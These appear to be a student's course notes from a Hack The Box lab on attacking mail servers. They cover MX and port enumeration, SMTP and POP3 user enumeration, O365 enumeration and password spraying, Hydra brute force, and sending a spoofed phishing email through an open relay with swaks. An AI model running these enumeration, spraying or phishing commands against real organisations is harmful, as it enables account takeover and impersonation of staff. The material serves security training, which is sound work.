# Email Services

A mail server (also called email server) is a server that manages and delivers emails across a network, typically over the Internet. A mail server can receive emails from client devices and send them to other mail servers, as well as deliver emails to clients. A client is typically the device from which we read our emails (like computers, mobile devices, etc.).

When we press the Send button in our email application (mail client), the program establishes a connection with an SMTP server on the network or Internet. SMTP (Simple Mail Transfer Protocol) is the protocol used to send emails from clients to servers and between servers.

When we download emails in our application, it connects to a POP3 or IMAP4 server, which allows the user to store messages in the server's mailbox and download them periodically.

By default, POP3 clients delete downloaded messages from the server. This behavior makes it difficult to access mail from multiple devices, as messages remain stored locally. However, we can usually configure the POP3 client to keep copies on the server.

On the other hand, IMAP4 clients do not delete messages from the server by default, allowing easy access to emails from multiple devices.

Let's see how we can attack mail servers.

## Enumeration

Mail servers are complex and typically require us to enumerate multiple servers, ports, and services. Additionally, nowadays most companies have their email services in the cloud, such as Microsoft 365 or G-Suite. Therefore, our way of attacking the email service will depend on the type of service they are using.

We can use the DNS MX (Mail eXchanger) record to identify the mail server. This record specifies the server responsible for accepting email messages on behalf of a domain. It's possible to configure multiple MX records, typically pointing to a set of mail servers for load balancing and redundancy.

We can use tools like `host` or `dig`, or websites like MXToolbox to query information about MX records.

### Host - MX Records

```bash
gzzcoo@htb[/htb]$ host -t MX hackthebox.eu
hackthebox.eu mail is handled by 1 aspmx.l.google.com.
```

```bash
gzzcoo@htb[/htb]$ host -t MX microsoft.com
microsoft.com mail is handled by 10 microsoft-com.mail.protection.outlook.com.
```

### DIG - MX Records

```bash
gzzcoo@htb[/htb]$ dig mx plaintext.do | grep "MX" | grep -v ";"
plaintext.do.           7076    IN      MX      50 mx3.zoho.com.
plaintext.do.           7076    IN      MX      10 mx.zoho.com.
plaintext.do.           7076    IN      MX      20 mx2.zoho.com.
```

```bash
gzzcoo@htb[/htb]$ dig mx inlanefreight.com | grep "MX" | grep -v ";"
inlanefreight.com.      300     IN      MX      10 mail1.inlanefreight.com.
```

### Host - A Records

```bash
gzzcoo@htb[/htb]$ host -t A mail1.inlanefreight.htb.
mail1.inlanefreight.htb has address 10.129.14.128
```

These MX records indicate that the first three email services are using cloud services like G-Suite (`aspmx.l.google.com`), Microsoft 365 (`microsoft-com.mail.protection.outlook.com`), and Zoho (`mx.zoho.com`), while the last one is probably a custom mail server hosted by the company.

This information is important because enumeration methods can vary depending on the service. For example, most cloud providers use their own implementation of the mail server and adopt modern authentication, which opens unique attack vectors specific to each provider. In contrast, if the company has configured its own service, we might find bad practices and insecure configurations that allow common attacks on mail server protocols.

If we are targeting a custom mail server like `inlanefreight.htb`, we can enumerate the following ports:

| Port    | Service                 |
| ------- | ----------------------- |
| TCP/25  | SMTP Unencrypted        |
| TCP/143 | IMAP4 Unencrypted       |
| TCP/110 | POP3 Unencrypted        |
| TCP/465 | SMTP Encrypted          |
| TCP/587 | SMTP Encrypted/STARTTLS |
| TCP/993 | IMAP4 Encrypted         |
| TCP/995 | POP3 Encrypted          |

We can use Nmap with the `-sC` option (default scripts) to enumerate these ports on the target system:

```bash
gzzcoo@htb[/htb]$ sudo nmap -Pn -sVC -p25,143,110,465,587,993,995 10.129.14.128

Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-27 17:56 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00025s latency).

PORT   STATE SERVICE VERSION
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: mail1.inlanefreight.htb, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
MAC Address: 00:00:00:00:00:00 (VMware)
```

## Misconfigurations

Email services use authentication to allow users to send and receive emails. A misconfiguration can occur when the SMTP service allows anonymous authentication or supports commands that can be used to enumerate valid usernames.

### Authentication

The SMTP server has different commands that can be leveraged to enumerate valid users: `VRFY`, `EXPN`, and `RCPT TO`. If we can enumerate valid users, we can attempt to perform password spraying, brute force, or even guess a valid password. Let's see how these commands work:

**VRFY**: This command tells the SMTP server to verify if a specific username or email address exists. The server will respond indicating whether the user exists or not. This functionality is usually disabled for security reasons.

#### VRFY Command

```bash
gzzcoo@htb[/htb]$ telnet 10.10.110.20 25

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)

VRFY root
252 2.0.0 root

VRFY www-data
252 2.0.0 www-data

VRFY new-user
550 5.1.1 <new-user>: Recipient address rejected: User unknown in local recipient table
```

#### EXPN Command

`EXPN` is similar to `VRFY`, with the difference that when used with a distribution list, it returns all users included in that list. This can be more problematic than the `VRFY` command, as there are often aliases like "all" that group many users.

```bash
gzzcoo@htb[/htb]$ telnet 10.10.110.20 25

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)

EXPN john
250 2.1.0 john@inlanefreight.htb

EXPN support-team
250 2.0.0 carol@inlanefreight.htb
250 2.1.5 elisa@inlanefreight.htb
```

As we can see, the `EXPN` command returns individual user addresses that are part of the distribution list. This expands our attack surface.

#### RCPT TO Command

`RCPT TO` identifies the recipient of an email message. This command can be repeated multiple times to send a single message to multiple recipients.

```bash
gzzcoo@htb[/htb]$ telnet 10.10.110.20 25

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)

MAIL FROM:test@htb.com
250 2.1.0 test@htb.com... Sender ok

RCPT TO:julio
550 5.1.1 julio... User unknown

RCPT TO:kate
550 5.1.1 kate... User unknown

RCPT TO:john
250 2.1.5 john... Recipient ok
```

As we can see, this command also allows us to validate if a user exists in the system based on the server's response. This can be used to enumerate valid users before launching attacks like password spraying or brute force.

#### USER Command

We can also use the POP3 protocol to enumerate users, depending on how the service is implemented. For example, we can use the `USER` command followed by the username, and if the server responds with `+OK`, that means the user exists on the server.

This behavior can be leveraged to enumerate valid accounts before attempting authentication attacks like brute force or password spraying.

```bash
gzzcoo@htb[/htb]$ telnet 10.10.110.20 110

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
+OK POP3 Server ready

USER julio
-ERR

USER john
+OK
```

We can automate the user enumeration process on SMTP servers with the `smtp-user-enum` tool. This utility allows checking if valid email addresses exist using commands like `VRFY`, `EXPN`, or `RCPT`.

In the following example, we are using:

* `-M RCPT`: specifies the enumeration mode
* `-U userlist.txt`: list of usernames to test
* `-D inlanefreight.htb`: domain to be added to each user
* `-t 10.129.203.7`: target SMTP server IP

```bash
gzzcoo@htb[/htb]$ smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7

Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... userlist.txt
Target count ............. 1
Username count ........... 78
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ inlanefreight.htb

######## Scan started at Thu Apr 21 06:53:07 2022 #########
10.129.203.7: jose@inlanefreight.htb exists  
10.129.203.7: pedro@inlanefreight.htb exists  
10.129.203.7: kate@inlanefreight.htb exists  
######## Scan completed at Thu Apr 21 06:53:18 2022 #########
3 results.

78 queries in 11 seconds (7.1 queries / sec)
```

### Cloud Enumeration

As we saw before, cloud service providers like Microsoft implement their own email systems. In the case of Office 365, we can abuse specific functions like user enumeration.

A useful tool for this is `O365spray`, which allows validating if a domain uses Office 365 and then enumerating valid users, as well as performing password spraying.

#### O365 Spray - Identify Domain

```bash
gzzcoo@htb[/htb]$ python3 o365spray.py --validate --domain msplaintext.xyz

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > validate       :  True
   > timeout        :  25 seconds
   > start          :  2022-04-13 09:46:40

>----------------------------------------<

[2022-04-13 09:46:40,344] INFO : Running O365 validation for: msplaintext.xyz  
[2022-04-13 09:46:40,743] INFO : [VALID] The following domain is using O365: msplaintext.xyz
```

#### Validate Users

```bash
gzzcoo@htb[/htb]$ python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz        

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > enum           :  True
   > userfile       :  users.txt
   > enum_module    :  office
   > rate           :  10 threads
   > timeout        :  25 seconds
   > start          :  2022-04-13 09:48:03

>----------------------------------------<

[2022-04-13 09:48:03,621] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:48:04,062] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-13 09:48:04,064] INFO : Running user enumeration against 67 potential users
[2022-04-13 09:48:08,244] INFO : [VALID] lewen@msplaintext.xyz
[2022-04-13 09:48:10,415] INFO : [VALID] juurena@msplaintext.xyz

[ * ] Valid accounts can be found at: '/opt/o365spray/enum/enum_valid_accounts.2204130948.txt'
[ * ] All enumerated accounts can be found at: '/opt/o365spray/enum/enum_tested_accounts.2204130948.txt'

[2022-04-13 09:48:10,416] INFO : Valid Accounts: 2
```

## Password Attacks

### Hydra - Password Attack

We can use Hydra to perform brute force attacks or password spraying against email services like SMTP, POP3, or IMAP4. We only need a list of users (`-L`) and a password or password list (`-p` or `-P`), in addition to specifying the service.

```bash
gzzcoo@htb[/htb]$ hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-13 11:37:46
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 67 login tries (l:67/p:1), ~5 tries per task
[DATA] attacking pop3://10.10.110.20:110/
[110][pop3] host: 10.129.42.197   login: john   password: Company01!
1 of 1 target successfully completed, 1 valid password found
```

### O365 Spray - Password Spraying

If cloud services allow the use of SMTP, POP3, or IMAP4 protocols, we could try to perform password spraying attacks using tools like Hydra, but typically these attempts are blocked by the provider's security measures.

Instead, it's preferable to use specialized tools such as:

* `o365spray` or `MailSniper` → for Microsoft Office 365
* `CredKing` → for Gmail or Okta

```bash
gzzcoo@htb[/htb]$ python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > spray          :  True
   > password       :  March2022!
   > userfile       :  usersfound.txt
   > count          :  1 passwords/spray
   > lockout        :  1.0 minutes
   > spray_module   :  oauth2
   > rate           :  10 threads
   > safe           :  10 locked accounts
   > timeout        :  25 seconds
   > start          :  2022-04-14 12:26:31

>----------------------------------------<

[2022-04-14 12:26:31,757] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-14 12:26:32,201] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-14 12:26:32,202] INFO : Running password spray against 2 users.
[2022-04-14 12:26:32,202] INFO : Password spraying the following passwords: ['March2022!']
[2022-04-14 12:26:33,025] INFO : [VALID] lewen@msplaintext.xyz:March2022!
[2022-04-14 12:26:33,048] INFO : 

[ * ] Writing valid credentials to: '/opt/o365spray/spray/spray_valid_credentials.2204141226.txt'
[ * ] All sprayed credentials can be found at: '/opt/o365spray/spray/spray_tested_credentials.2204141226.txt'

[2022-04-14 12:26:33,048] INFO : Valid Credentials: 1
```

## Open Relay

An open relay is a misconfigured SMTP (Simple Mail Transfer Protocol) server that allows email forwarding without authentication. Mail servers that are configured as open relays, either accidentally or intentionally, allow any source to send emails through the server, thus masking the real origin of the messages and making them appear to come from the server itself.

From an attacker's perspective, this can be leveraged to perform phishing, sending emails as if they were from non-existent users or impersonating someone else's identity. For example, if we detect that a company has a misconfigured mail server as an open relay and uses a specific address for notifications, we can send an email with that same address and add a malicious link.

With Nmap's `smtp-open-relay` script, we can identify if an SMTP port allows this type of forwarding:

```bash
gzzcoo@htb[/htb]# nmap -p25 -Pn --script smtp-open-relay 10.10.11.213

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-28 23:59 EDT
Nmap scan report for 10.10.11.213
Host is up (0.28s latency).

PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-open-relay: Server is an open relay (14/16 tests)
```

Then, we can use any mail client to connect to the server and send our message:

```bash
gzzcoo@htb[/htb]# swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server 10.10.11.213

=== Trying 10.10.11.213:25...
=== Connected to 10.10.11.213.
<-  220 mail.localdomain SMTP Mailer ready
 -> EHLO parrot
<-  250-mail.localdomain
<-  250-SIZE 33554432
<-  250-8BITMIME
<-  250-STARTTLS
<-  250-AUTH LOGIN PLAIN CRAM-MD5 CRAM-SHA1
<-  250 HELP
 -> MAIL FROM:<notifications@inlanefreight.com>
<-  250 OK
 -> RCPT TO:<employees@inlanefreight.com>
<-  250 OK
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Thu, 29 Oct 2020 01:36:06 -0400
 -> To: employees@inlanefreight.com
 -> From: notifications@inlanefreight.com
 -> Subject: Company Notification
 -> Message-Id: <20201029013606.775675@parrot>
 -> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
 -> 
 -> Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/
 -> 
 -> 
 -> .
<-  250 OK
 -> QUIT
<-  221 Bye
=== Connection closed with remote host.
```
